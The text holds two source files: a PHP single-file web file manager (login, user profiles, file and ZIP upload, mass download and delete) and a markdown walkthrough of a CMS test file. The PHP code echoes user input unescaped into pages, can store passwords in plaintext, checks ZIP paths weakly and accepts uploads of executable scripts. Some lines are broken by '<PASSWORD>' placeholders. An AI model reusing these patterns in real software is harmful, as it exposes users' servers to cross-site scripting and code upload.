preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);
foreach ($matches as $m) {
$data[$m[1]] = $m[3] ? $m[3] : $m[4];
unset($needed_parts[$m[1]]);
}
return $needed_parts ? false : $data;
}
$realm = 'PHP FileManager';
if (count($users) == 0)
{
$users = array('admin' => array('admin' => '1','<PASSWORD>' => $<PASSWORD>,'root' => '.','access' => array('.' => 2)));
if ($loginmethod == 2)
$users = array('admin' => array('admin' => '1','password' => <PASSWORD>(<PASSWORD>),'root' => '.','access' => array('.' => 2)));
}
if ($loginmethod == 1)
{
session_start();
if (isset($_SESSION['login'])){
$data['username'] = 'admin';
$users[$data['username']]['access']['.'] = 2;
$users[$data['username']]['root'] = '.';
} else {
if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Digest realm="'.$realm.
'",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');
die('403');
}
// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
!isset($users[$data['username']]))
die('403');
// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]['password']);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);
if ($data['response'] != $valid_response)
die('403');
}
// ok, valid username & password
// echo 'You are logged in as: ' . $data['username'];
$user = $data['username'];
$access = $users[$data['username']]['access'];
$root = $users[$data['username']]['root'];
}
else // SSL
{
if (isset($_POST['login']))
{
$_SESSION['error'] = "Access denied.";
foreach($users as $un => $u)
{
if ($un == $_POST['uname'] && $u['password'] == sha1($_POST['pass']))
{
unset($_SESSION['error']);
$_SESSION['login'] = $un;
$user = $un;
break;
}
}
}
// Session based
if (array_key_exists("login",$_SESSION))
{
session_start();
$access = $users[$_SESSION['login']]['access'];
$root = $users[$_SESSION['login']]['root'];
$user = $_SESSION['login'];
}
else
{
// Show login
Head();
PrintSessionErrors();
?>
<div class="container-fluid">
<div class="row">
<div class="col-md-2"></div>
<div class="col-md-6">
<br><br>
<form id="login" method="POST" action="<?= $self ?>">
<input type="hidden" name="login" value="1" ?>
<label for="uname">Username</label>
<input class="form-control" name="uname" id="uname" />
<br />
<label for="pass">Password</label>
<input type="<PASSWORD>" class="form-control" name="pass" id="pass" />
<br />
<button class="btn btn-primary">Submit</button>
</form>
</div>
</div>
<?php
die;
}
}
// Root Folder
if (!array_key_exists('current',$_SESSION))
$_SESSION['current'] = $root;
// Permitted ?
if (AccessType($_SESSION['current']) == 0)
$_SESSION['current'] = $root;
// All users in array, so we save them back to self
function LoadUsers()
{
global $users;
if (count($users) == 1 && $users['root']['password'] == "")
return "\$users = array();\r\n";
$u = "\$users = array(\r\n";
$i = 0;
foreach($users as $username => $user)
{
if ($i > 0)
$u .= ",\r\n";
$acc = "array(";// array("." => 2)
$ii = 0;
foreach($user['access'] as $acxd => $acx)
{
if ($ii > 0)
$acc .= ",";
$acc .= sprintf("'%s' => %s",$acxd,$acx);
$ii++;
}
$acc .= ")";
$u .= sprintf("'%s' => array('admin' => '%s','password' => '%s','root' => '%s','access' => %s)",$username,$user['admin'],$user['password'],$user['root'],$acc);
$i++;
}
$u .= "\r\n);";
return $u;
}
if (isset($_GET['logout']))
{
session_destroy();
header("Location: $self");
die;
}
if (isset($_GET['profile']))
{
?>
<br><br>
<div class="container-fluid">
<div class="row">
<div class="col-md-2">
</div>
<div class="col-md-6">
<form action="<?= $self ?>" method="POST" >
<input type="hidden" name="profilechange" value="1" ?>
<label for="uname">Username</label>
<input class="form-control" name="uname" id="uname" value="<?= $user ?>" readonly/>
<br>
<label for="pwd1">Password</label>
<input type="password" class="form-control" name="pwd1" id="pwd2" pwd2" />
<br>
<label for="pwd2">(Again)</label>
<input type="password" class="form-control" name="pwd2" id="pwd2" pwd2" />
<br>
<button class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
<?php
die;
}
if (isset($_GET['createprofile']))
{
if ($users[$user]['admin'] != 1)
die;
?>
<br><br>
<div class="container-fluid">
<div class="row">
<div class="col-md-2">
</div>
<div class="col-md-6">
<form action="<?= $self ?>" method="POST" >
<input type="hidden" name="newprofile" value="1" ?>
<label for="uname">Username</label>
<input class="form-control" name="uname" id="uname" />
<br>
<label for="root">Root folder</label>
<input class="form-control" name="root" id="root" value="./" />
<br>
<label for="pwd1">Password</label>
<input type="password" class="form-control" name="pwd1" id="pwd2" pwd2" />
<br>
<label for="pwd2">(Again)</label>
<input type="password" class="form-control" name="pwd2" id="pwd2" pwd2" />
<br>
<button class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
<?php
die;
}
if (isset($_GET['options']))
{
if ($users[$user]['admin'] != 1)
die;
?>
<br><br>
<div class="container-fluid">
<div class="row">
<div class="col-md-2">
</div>
<div class="col-md-6">
<form action="<?= $self ?>" method="POST" >
<input type="hidden" name="setoptions" value="1" ?>
<label for="stmethod">Storage method</label>
<select class="form-control" name="stmethod" id="stmethod" <?= (count($users) == 1 && $users["root"]["password"] === "") ? "" : "disabled" ?>>
<option value="1" <?= $storage == 1 ? "selected" : "" ?>>Self</option>
<option value="2" <?= $storage == 2 ? "selected" : "" ?>>SQLite database</option>
</select>
<br>
<button class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
<?php
die;
}
if (isset($_POST['setoptions']))
{
if ($users[$user]['admin'] != 1)
die;
// Before Users Update
BeforeUsersUpdate();
$storage = $_POST['stmethod'];
// After Users Update
AfterUsersUpdate();
}
if (isset($_POST['profilechange']))
{
if ($_POST['pwd1'] !== $_POST['pwd2'] || !strlen($_POST['pwd1']))
die("Password error");
// Before Users Update
BeforeUsersUpdate();
$users[$user]['password'] = $_POST['<PASSWORD>'];
if ($loginmethod == 2)
$users[$user]['password'] = <PASSWORD>($_POST['<PASSWORD>']);
// After Users Update
AfterUsersUpdate();
if ($loginmethod == 2)
header("Location: $self?logout");
else
die("Password changed. You have to close your browser and reload it now. < a href=\"index.html\">Return to page editor</a>");
}
if (isset($_POST['newprofile']))
{
if ($users[$user]['admin'] != 1)
die;
if ($_POST['pwd1'] !== $_POST['pwd2'] || !strlen($_POST['pwd1']))
die("Password error");
// Before Users Update
BeforeUsersUpdate();
$jack = array('admin' => '0','password' => $_POST['<PASSWORD>'],'root' => $_POST['root'],'access' => array($_POST['root'] => 2));
if ($loginmethod == 2)
$jack = array('admin' => '0','password' => <PASSWORD>($_POST['<PASSWORD>']),'root' => $_POST['root'],'access' => array($_POST['root'] => 2));
$users[$_POST['uname']] = $jack;
// After Users Update
AfterUsersUpdate();
header("Location: $self");
}
function PermissionString($perms)
{
$info = '';
switch ($perms & 0xF000) {
case 0xC000: // socket
$info = 's';
break;
case 0xA000: // symbolic link
$info = 'l';
break;
case 0x8000: // regular
$info = 'r';
break;
case 0x6000: // block special
$info = 'b';
break;
case 0x4000: // directory
$info = 'd';
break;
case 0x2000: // character special
$info = 'c';
break;
case 0x1000: // FIFO pipe
$info = 'p';
break;
default: // unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function dirSize($directory) {
$size = 0;
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
$size+=$file->getSize();
}
return $size;
}
function AccessType($it)
{
global $access;
global $self;
global $selfdb;
global $user;
if (strstr($it,"..") !== false)
return 0;
if (strpos($it,"/") === 0)
return 0;
if (strpos($it,".") !== 0)
return 0;
if ($it == $self && $user != "root")
return 0;
if ($it == $selfdb)
return 0;
$maxa = 0;
foreach($access as $dir => $acc)
{
if (strpos($it,$dir) === 0)
{
// Matches
if ($maxa < $acc)
$maxa = $acc;
}
}
return $maxa;
}
if (isset($_FILES['file']))
{
$file = $_FILES['file'];
$fn = $file['name'];
$cr = $_SESSION['current'];
if (strstr($fn,"\\") != 0 || strstr($fn,"/") != 0)
{
$_SESSION['error'] = "Write access denied to folder <b>$cr</b>.";
die;
}
if (AccessType($cr) !== 2)
{
$_SESSION['error'] = "Write access denied to folder <b>$cr</b>.";
die;
}
$tempfile = $file['tmp_name'];
if (array_key_exists("zip",$_POST) && $_POST['zip'] == 1)
{
$zip = new ZipArchive;
$zip->open($tempfile);
$nf = $zip->numFiles;
for($i = 0; $i < $nf ; $i++)
{
$fn2 = $zip->getNameIndex($i);
if (strstr($fn2,"..") !== false || strstr($fn2,"/") === $fn2)
{
unlink($tempfile);
$_SESSION['error'] = "File contains files with .. or /, not allowed.";
die;
}
}
$zip->extractTo($cr);
}
else
{
$dbdata = file_get_contents($tempfile);
$full = $_SESSION['current'].'/'.$fn;
file_put_contents($full,$dbdata);
}
unlink($tempfile);
$_SESSION['success'] = "File <b>$fn</b> uploaded successfully.";
die;
}
function PrintDir($fulldir)
{
global $self;
global $selfdb;
global $user;
$_SESSION['current'] = $fulldir;
$li = explode("/",$fulldir);
printf('<nav class="breadcrumb">');
$j = 0;
$e2 = "";
foreach($li as $entry)
{
$e = $e2.$entry;
if ($entry == "."){
// $entry = "(root)";
$entry = "Top-Level";
}
if (AccessType($e) == 0)
{
if ($j == 0)
printf("<a class=\"breadcrumb-item\" href=\"#\">$entry</a>");
else
printf(" — <a class=\"breadcrumb-item\" href=\"#\">$entry</a>");
}
else
{
if ($j == 0)
printf("<a class=\"breadcrumb-item\" href=\"javascript:g('$self?dir=%s');\">$entry</a>",$e);
else
printf(" — <a class=\"breadcrumb-item\" href=\"javascript:g('$self?dir=%s');\">$entry</a>",$e);
}
$j++;
$e2 = $e;
$e2 .= "/";
/*
<a class="breadcrumb-item" href="#">Library</a>
<a class="breadcrumb-item" href="#">Data</a>
<span class="breadcrumb-item active">Bootstrap</span>
</nav>
*/
}
printf('</nav>');
if (AccessType($fulldir) == 0)
{
$_SESSION['error'] = "Read access denied to folder $fulldir.";
die;
}
$items = scandir($fulldir);
function cmp($a, $b) {
$full1 = $_SESSION['current']."/".$a;
$full2 = $_SESSION['current']."/".$b;
if (is_dir($full1) && !is_dir($full2))
return -1;
if (!is_dir($full1) && is_dir($full2))
return 1;
if ($a == $b)
return 0;
return ($a < $b) ? -1 : 1;
}
uasort($items,"cmp")
?>
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
</<form id="dirform">
<table class="table" id="datatable" width="100%">
<thead>
<th width="40"><input type="checkbox" onclick="pickall(this)"></th>
<th>Name</th>
<th class="sorting sorting-size" style="max-width:60px !important">Size</th>
<!-- <th>Owner</th> -->
<!-- <th>Group</th> -->
<!-- <th>Permissions</th> -->
</thead>
<tbody>
<?php
foreach($items as $item)
{
if ($item == "." || $item == "..")
continue;
if ($item == $self)
continue;
if ($item == $selfdb)
continue;
$full = $fulldir."/".$item;
$fsBytes = filesize($full);
$fsKB = (int) $fsBytes / 1024;
$fs = number_format((float)$fsKB, 2, '.', '');
$dir = is_dir($full);
printf("<tr>");
printf("<td><input type=\"checkbox\" class=\"fcb\" data-name=\"%s\"></td>",$item);
if ($dir)
printf("<td><i class=\"fa fa-folder-o\"></i> <a class=\"foldermenu\" data-name=\"%s\" href=\"javascript:g('$self?dir=%s');\">$item</a></td>",$item,$full);
else
printf("<td><i class=\"fa fa-file\"> <a class=\"filemenu\" data-name=\"%s\" data-fullname=\"%s\" target=\"_blank\" href=\"$full\">$item</a></td>",$item,$full,$full);
if ($dir)
printf("<td></td>");
else
printf("<td style=\"max-width:60px !important\">".$fs."K</td>");
$oid = fileowner($full);
$ogr = filegroup($full);
if (function_exists("posix_getpwuid"))
$ow = posix_getpwuid($oid);
else
$ow = array("name" => $oid);
if (function_exists("posix_getgrgid"))
$ow2 = posix_getgrgid($ogr);
else
$ow2 = array("name" => $ogr);
// printf("<td>%s</td>",$ow['name']);
// printf("<td>%s</td>",$ow2['name']);
// print_r(posix_getgrgid(filegroup($full)));
$perms = fileperms($full);
$pinfo = PermissionString($perms);
// printf('<td style="font-family: monospace;">%s — %o</td>', $pinfo,$perms);
printf("</tr>");
}
?>
</tbody>
</table>
<hr>
<form id="massdownloadform" action="<?= $self ?>" method="POST">
<input id="massdownloadformvalue" type="hidden" name="massdownload" value="">
</form>
<form id="massdeleteform" action="<?= $self ?>" method="POST">
<input id="massdeleteformvalue" type="hidden" name="massdelete" value="">
</form>
<p>With selected files: <button class="btn btn-default" type="button" onclick="DownloadSelected();">Download</button> <button type="button" onclick="confirm3('Are you ABSOLUTELY sure you want to MASS DELETE selected files?',DeleteSelected);" class="btn btn-default">Delete</button></p>
</form>
</div>
</div>
</div>
<br><br>
<?php
}
// Download database
function Down($u,$f = 0)
{
if ($f == 0)
{
if (AccessType($u) == 0)
die;
}
header('Content-Description: Download');
header('Content-Type: application/octet-stream');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header(sprintf("Content-disposition: attachment;filename=%s",basename($u)));
header('Content-Length: ' . filesize($u));
readfile($u);
}
if (array_key_exists("newfolder",$_POST))
{
$f = $_POST['newfolder'];
$root = $_SESSION['current'];
if (AccessType($root) !== 2)
{
$_SESSION['error'] = "Write access denied to folder $root.";
}
if (strstr($f,"/") === false && strstr($f,"\\") === false)
{
$fd = $root.'/'.$f;
if (!mkdir($fd))
{
$lerr = LastError();
$_SESSION['error'] = "Directory creation failed <b>$fd</b><br>$lerr.";
}
else
{
$_SESSION['success'] = "Directory <b>$fd</b> created successfully.";
}
}
else
{
$_SESSION['error'] = "Write access denied to folder <b>$root</b>.";
}
die;
}
if (array_key_exists("deletefile",$_POST))
{
$f = $_POST['deletefile'];
$fuf = $_SESSION['current'].'/';
if (AccessType($fuf) !== 2)
{
$_SESSION['error'] = "Write access denied to $f.";
}
if (strstr($f,"/") === false && strstr($f,"\\") === false)
{
if (!unlink($_SESSION['current'].'/'.$f))
{
$_SESSION['error'] = "Operation on <b>$f</b> failed.";
}
else
{
$_SESSION['success'] = "File <b>$f</b> deleted successfully.";
}
}
else
{
$_SESSION['error'] = "Write access denied to <b>$f</b>.";
}
die;
}
if (array_key_exists("deletefolder",$_POST))
{
$f = $_POST['deletefolder'];
$fuf = $_SESSION['current'].'/';
if (AccessType($fuf) !== 2)
{
$_SESSION['error'] = "Write access denied to $f.";
}
if (strstr($f,"/") === false && strstr($f,"\\") === false)
{
if (!rmdir($_SESSION['current'].'/'.$f))
{
$_SESSION['error'] = "Operation on <b>$f</b> failed.";
}
else
{
$_SESSION['success'] = "Folder <b>$f</b> deleted successfully.";
}
}
else
{
$_SESSION['error'] = "Write access denied to <b>$f</b>.";
}
die;
}
if (array_key_exists("deletefolder2",$_POST))
{
$f = $_POST['deletefolder2'];
$fuf = $_SESSION['current'].'/';
if (AccessType($fuf) !== 2)
{
$_SESSION['error'] = "Write access denied to $f.";
}
if (strstr($f,"/") === false && strstr($f,"\\") === false)
{
if (!deleteDir($_SESSION['current'].'/'.$f))
{
$_SESSION['error'] = "Operation on <b>$f</b> failed.";
}
else
{
$_SESSION['success'] = "Folder <b>$f</b> deleted successfully.";
}
}
else
{
$_SESSION['error'] = "Write access denied to <b>$f</b>.";
}
die;
}
if (array_key_exists("massdownload",$_POST))
{
$what = $_POST['massdownload'];
$fuf = "";
$dp = strrpos($_POST['massdownload'],"/");
if ($dp === false)
$fuf = $_SESSION['current'].'/';
else
$fuf = substr($_GET['down'],0,$dp);
if (AccessType($fuf) === 0)
{
$_SESSION['error'] = "Read access denied to folder <b>$root</b>.";
}
else
{
$arr = array();
$items = explode(',',$what);
foreach($items as $item)
{
if (strstr($item,"/") == $item)
die;
if (strstr($item,"..") !== false)
die;
$full = $_SESSION['current'].'/'.$item;
enumDir($full,$arr);
}
$tz = tempnam(".","zip");
if (file_exists($tz))
unlink($tz);
$tz .= ".zip";
if (file_exists($tz))
unlink($tz);
$zip = new ZipArchive;
$zipo = $zip->open($tz,ZipArchive::CREATE | ZipArchive::OVERWRITE);
foreach($arr as $a)
{
if (is_dir($a))
continue;
// printf("<pre>%s</pre>",substr($a,2));
$rs = $zip->addFile($a,substr($a,2));
if (!$rs)
die;
}
$zip->close();
Down($tz,1);
unlink($tz);
die;
}
}
if (array_key_exists("massdelete",$_POST))
{
$what = $_POST['massdelete'];
$fuf = "";
$dp = strrpos($_POST['massdelete'],"/");
if ($dp === false)
$fuf = $_SESSION['current'].'/';
else
$fuf = substr($_GET['down'],0,$dp);
$itd = "";
if (AccessType($fuf) !== 2)
{
$_SESSION['error'] = "Write access denied to folder <b>$root</b>.";
}
else
{
$items = explode(',',$what);
foreach($items as $item)
{
if (strstr($item,"/") == $item)
die;
if (strstr($item,"..") !== false)
die;
$full = $_SESSION['current'].'/'.$item;
if (deleteDir($full))
$itd .= sprintf("$full<br>");
}
}
$_SESSION['success'] = "Mass delete operation completed:<br><br>$itd<br>Items deleted.";
header("Location: $self");
die;
}
if (array_key_exists("down",$_GET))
{
$fuf = "";
$dp = strrpos($_GET['down'],"/");
if ($dp === false)
$fuf = $_SESSION['current'].'/';
else
$fuf = substr($_GET['down'],0,$dp);
if (AccessType($fuf) === 0)
{
$_SESSION['error'] = "Read access denied to folder <b>$root</b>.";
}
else
{
Down($_GET['down']);
die;
}
}
if (array_key_exists("dir",$_GET))
{
PrintDir($_GET['dir']);
die;
}
?>
<?php Head(); ?>
<body>
<script>
function confirm(pro,url) {
bootbox.confirm(pro, function (result) {
if (result)
window.location = url;
});
}
function confirm2(pro,xurl,xdata) {
bootbox.confirm(pro, function (result) {
if (result)
{
$.ajax({
url: xurl,
type: 'POST',
data: xdata,
success: function (result)
{
window.location = '<?= $self ?>';
}
});
}
});
}
function confirm3(pro,func) {
bootbox.confirm(pro, function (result) {
if (result)
func();
});
}
function DownloadSelected() {
var z = "";
var i = 0;
$('.fcb').each(function(idx)
{
if ($(this).prop('checked'))
{
var n = $(this).attr("data-name");
if (i != 0)
z += ",";
z += n;
i++;
}
});
if (i == 0)
return;
$('#massdownloadformvalue').val(z);
$('#massdownloadform').submit();
}
function DeleteSelected() {
var z = "";
var i = 0;
$('.fcb').each(function(idx)
{
if ($(this).prop('checked'))
{
var n = $(this).attr("data-name");
if (i != 0)
z += ",";
z += n;
i++;
}
});
if (i == 0)
return;
$('#massdeleteformvalue').val(z);
$('#massdeleteform').submit();
}
function pickall(cb)
{
$('.fcb').prop('checked', cb.checked);
}
function unblock()
{
$.unblockUI();
}
var dlg = null;
var xhr = null;
function updateProgress (oEvent)
{
if (oEvent.lengthComputable) {
var percentComplete = (oEvent.loaded*100) / oEvent.total;
var prg = document.getElementById("prg");
if (!prg)
return;
if (percentComplete >= 99)
percentComplete = 100;
prg.value = percentComplete;
} else {
// Unable to compute progress information since the total size is unknown
}
}
function SubmitForm()
{
var da = document.getElementById('uploaddiv');
var formData = new FormData(document.getElementById('uploadform'));
xhr = new XMLHttpRequest();
da.innerHTML= "<i class=\"fa fa-circle-o-notch fa-spin\"></i> <progress id=\"prg\" name=\"prg\" value=\"0\" max=\"100\"/>";
xhr.upload.addEventListener("progress", function(evt)
{
updateProgress(evt);
}
, false);
xhr.addEventListener("progress", function(evt)
{
updateProgress(evt);
}
, false);
xhr.onreadystatechange=function()
{
if (xhr.readyState == 4)
{
bootbox.hideAll();
if (xhr.status == 200)
{
// OK
window.location = "<?= $self ?>";
xhr = null;
}
else
{
// FAIL
xhr = null;
}
}
}
xhr.open("POST", "<?= $self ?>");
xhr.send(formData);
return false;
}
function newfile()
{
dlg = bootbox.dialog({
message: '<h3>File upload</h3><hr><div id="uploaddiv"> <form id="uploadform" method="POST" onsubmit="return SubmitForm();" enctype="multipart/form-data"><input type="file" name="file" id="file" class="form-control" required><br><button id="submitbutton" class="btn btn-primary">Submit</button></form></div>',
show: false,
className: "modal2",
onEscape: function()
{
// you can do anything here you want when the user dismisses dialog
if (xhr != null)
xhr.abort();
xhr = null;
}
});
dlg.modal('show');
}
function newfilezip()
{
dlg = bootbox.dialog({
message: '<h3>ZIP upload</h3><hr><div id="uploaddiv"> <form id="uploadform" method="POST" onsubmit="return SubmitForm();" enctype="multipart/form-data"><input type="hidden" name="zip" value="1"><input type="file" name="file" id="file" accept=".zip" class="form-control" required><br><button id="submitbutton" class="btn btn-primary">Submit</button></form></div>',
show: false,
className: "modal2",
onEscape: function()
{
// you can do anything here you want when the user dismisses dialog
if (xhr != null)
xhr.abort();
xhr = null;
}
});
dlg.modal('show');
}
function newfolder()
{
bootbox.prompt("New folder name:",
function(result)
{
if (!result)
return;
if (result.length > 0)
{
$.ajax({
url: '<?= $self ?>',
type: 'POST',
data: { newfolder:result},
success: function (result)
{
window.location = '<?= $self ?>';
}
});
}
});
}
function g(url,div = "#content")
{
//block();
$(div).html('<br><center><i class="fa fa-circle-o-notch fa-spin fa-4x"></i></center></br>');
$.ajax({
url: url,
success: function (result)
{
unblock();
$(div).css("height", '');
$(div).html(result);
var dt = $('#datatable');
if (dt)
dt.dataTable({
dom: 'Brt',
paging: false,
bInfo: false,
fixedHeader: true,
responsive: true,
buttons: [],
aaSorting: []
});
}
});
}
function block()
{
$.blockUI({ message: '<button class="btn btn-default btn-lg"><i class="fa fa-circle-o-notch fa-spin"></i> Loading...</button>', css: {
border: 'none',
padding: '15px',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius': '10px',
opacity: .5,
color: '#fff'
} });
}
</script>
<div id="wrapper">
<!-- Navigation -->
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 10px;">
<!-- <div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="<?= $self ?>">Home</a>
</div>
--> <!-- /.navbar-header -->
<center>
<h3 style="margin: 0;margin-top: 4px;padding: 0;font-weight: bold;">File Manager</h3>
</center>
<ul class="nav navbar-top-links navbar-right">
<li class="dropdown">
<a class="dropdown-toggle" data-toggle="dropdown" href="#">
<i class="fa fa-sticky-note-o"></i> New <i class="fa fa-caret-down"></i>
</a>
<ul class="dropdown-menu dropdown-alerts">
<li>
<a href="javascript:newfolder();">
<div>
<i class="fa fa-folder fa-fw"></i>
Folder
</div>
</a>
</li>
<li class="divider"></li>
<li>
<a href="javascript:newfile();">
<div>
<i class="fa fa-file fa-fw"></i>
File
</div>
</a>
</li>
<li class="divider"></li>
<li>
<a href="javascript:newfilezip();">
<div>
<i class="fa fa-file-archive-o fa-fw"></i>
ZIP Archive
</div>
</a>
</li>
</ul>
<!-- /.dropdown-messages -->
</li>
<li class="dropdown">
<a class="dropdown-toggle" data-toggle="dropdown" href="#">
<i class="fa fa-user fa-fw"></i> <?= $user ?> <i class="fa fa-caret-down"></i>
</a>
<ul class="dropdown-menu dropdown-user">
<!-- <li><a href="javascript:g('<?= $self ?>?profile');"><i class="fa fa-user fa-fw"></i> User Profile</a>
</li> -->
<?php
if ($users[$user]['admin'] == 1)
{
?>
<!-- <li class="divider"></li>
<li><a href="javascript:g('<?= $self ?>?options');"><i class="fa fa-gear fa-fw"></i> Options</a>
</li>
<li class="divider"></li> -->
<li><a href="javascript:g('<?= $self ?>?createprofile');"><i class="fa fa-user-o fa-fw"></i> New Profile</a>
</li>
<?php
}
?>
<?php
if ($loginmethod == 2)
{
?>
<li class="divider"></li>
<li><a href="<?= $self ?>?logout=true"><i class="fa fa-sign-out fa-fw"></i> Logout</a>
</li>
<?php
}
?>
</ul>
<!-- /.dropdown-user -->
</li>
<!-- /.dropdown -->
</ul>
<!-- /.navbar-top-links -->
<!-- /.navbar-static-side -->
</nav>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<?php
PrintSessionErrors();
?>
<div id="content">
<script>
g('<?= $self ?>?dir=<?= $_SESSION['current'] ?>');
</script>
</div>
<div id="filemenu" style="display:none;" class="dropdown clearfix">
<ul class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu" style="display:block;position:static;margin-bottom:5px;">
<li>
<a id="downloadfilelink" tabindex="-1" href="#">Download</a>
</li>
<li class="divider"></li>
<li>
<a id="renamefilelink" tabindex="-1" href="#">Rename</a>
</li>
<li>
<a id="deletefilelink" tabindex="-1" href="#">Delete</a>
</li>
<li class="divider"></li>
<li>
<a tabindex="-1" href="#">Cancel</a>
</li>
</ul>
</div>
<div id="foldermenu" style="display:none;" class="dropdown clearfix">
<ul class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu" style="display:block;position:static;margin-bottom:5px;">
<li>
<a id="deletefolderlink" tabindex="-1" href="#">Delete</a>
</li>
<li>
<a id="deletefolderlink2" tabindex="-1" href="#">Delete with all contents</a>
</li>
<li class="divider"></li>
<li>
<a tabindex="-1" href="#">Cancel</a>
</li>
</ul>
</div>
<script>
$(function() {
var $contextMenu = $("#filemenu");
$("body").on("contextmenu", ".filemenu", function(e)
{
var n = $(this).attr("data-name");
var dox = '<?= $self ?>?down=' + n;
$('#downloadfilelink').attr("href",dox);
var dox2 = '<?= $self ?>';
dox = "javascript:confirm2('Sure to delete <b>" + n + "</b>?'," + "\"" + dox2 + "\"" + "," + "{ deletefile: " + "\"" + n + "\"" + "}" + ")";
$('#deletefilelink').attr("href",dox);
$contextMenu.css({ display: "block", left: e.pageX, top: e.pageY });
return false;
});
$contextMenu.on("click", "a", function() { $contextMenu.hide(); });
var $contextMenu2 = $("#foldermenu");
$("body").on("contextmenu", ".foldermenu", function(e)
{
var n = $(this).attr("data-name");
var dox = '<?= $self ?>?down=' + n;
$('#downloadfilelink').attr("href",dox);
var dox2 = '<?= $self ?>';
dox = "javascript:confirm2('Sure to delete <b>" + n + "</b>?'," + "\"" + dox2 + "\"" + "," + "{ deletefolder: " + "\"" + n + "\"" + "}" + ")";
$('#deletefolderlink').attr("href",dox);
dox2 = '<?= $self ?>';
dox = "javascript:confirm2('ABSOLUTELY Sure to delete <b>" + n + "</b> AND ALL ITS CONTENTS?'," + "\"" + dox2 + "\"" + "," + "{ deletefolder2: " + "\"" + n + "\"" + "}" + ")";
$('#deletefolderlink2').attr("href",dox);
$contextMenu2.css({ display: "block", left: e.pageX, top: e.pageY });
return false;
});
$contextMenu2.on("click", "a", function() { $contextMenu2.hide(); });
});
</script>
</body>
</html>
<file_sep>/docs/test/js/tests.js.md
# Tests.js
This file returns the array "tests" as soon as it is required.
It is required by [test_runner.js](https://github.com/sc0ttj/Project/blob/master/src/test/js/test_runner.js)
define the module as a self executing func,
so it runs as soon as it is required
```js
module.exports = (function returnTests(){
```
define the list of tests to return to test_runner
```js
var tests = [];
```
#### test(name, cb)
creates the list (array) of tests to return:
@param name - the name of the test
@param cb - the test function to run
```js
var test = function (name, cb) {
tests.push({name: name, test: cb});
};
```
Use an alternative command
```js
var describe = test;
```
#### assert(condition, message)
```js
/* Based on "World's smallest assertion library" by @snuggsi
* (https://twitter.com/snuggsi/status/565531862895169536)
*/
```
@param condition - the code to execute and test
@param message - the message to print on error
```js
var assert = function (condition, message) {
if (!condition) {
console.error(' ✘ '+message);
throw new Error(message);
}
/* if test is run by PhantomJS, dont style the console output */
if (/PhantomJS/.test(window.navigator.userAgent)) {
console.log(' ✔ '+message);
} else {
console.log('%c ✔ '+message, 'color: #005500;');
}
};
```
#### expect(message, condition)
an alternative syntax for assert:
@param condition - the code to execute and test
@param message - the message to print on error
```js
var expect = function (message, condition) {
assert(condition, message);
};
```
## Create the tests
Make sure the page has the correct number of objects and classes on init
```js
test('page has valid HTML', function(done){
expect('page <head> count to be more than zero', $('head').length > 0);
expect('page <body> count to be more than zero', $('body').length > 0);
expect('<body> has class "cms-html5"', $('body').hasClass('cms-html5') > 0);
done();
});
```
Make sure the page has only 1 section on init
```js
test('page has 1 section', function(done){
expect('page to have 1 section', $('.section').length === 1);
done();
});
```
Make sure the button for the CMS menu has loaded up and is visible
```js
test('page has a CMS menu', function(done){
expect('page to have 1 CMS menu button', $('.cms-menu-btn').length === 1);
expect('CMS menu button to be visible', $('.cms-menu-btn').hasClass('cms-hidden') === false);
done();
});
```
Make sure the CMS menu itself is hidden on page load
```js
test('the CMS menu is hidden', function(done){
expect('CMS menu is hidden on page load', $('.cms-menu').hasClass('cms-ui-hidden') === true);
done();
});
```
Click the menu button to show the menu
```js
test('show CMS menu', function(done){
cms.ui.showMenu();
expect('CMS menu to be visible', $('.cms-menu').hasClass('cms-ui-hidden') === false);
done();
});
```
Click the button again to hide the menu
```js
test('hide CMS menu', function(done){
cms.ui.hideMenu();
expect('CMS menu to be hidden', $('.cms-menu').hasClass('cms-ui-hidden') === true);
done();
});
/*Logout test should go here ... need to mock the cms/api/ stuff in test dir */
```
show the file manager using the CMS menu
```js
test('show the file manager', function(done){
cms.fileManager.showUI();
expect('the File Manager header to be visible', $('.cms-modal-viewport').hasClass('cms-modal-file-manager') === true);
done();
});
```
Check the meta manager pops up OK
```js
test('show the META manager', function(done){
cms.metaManager.showUI();
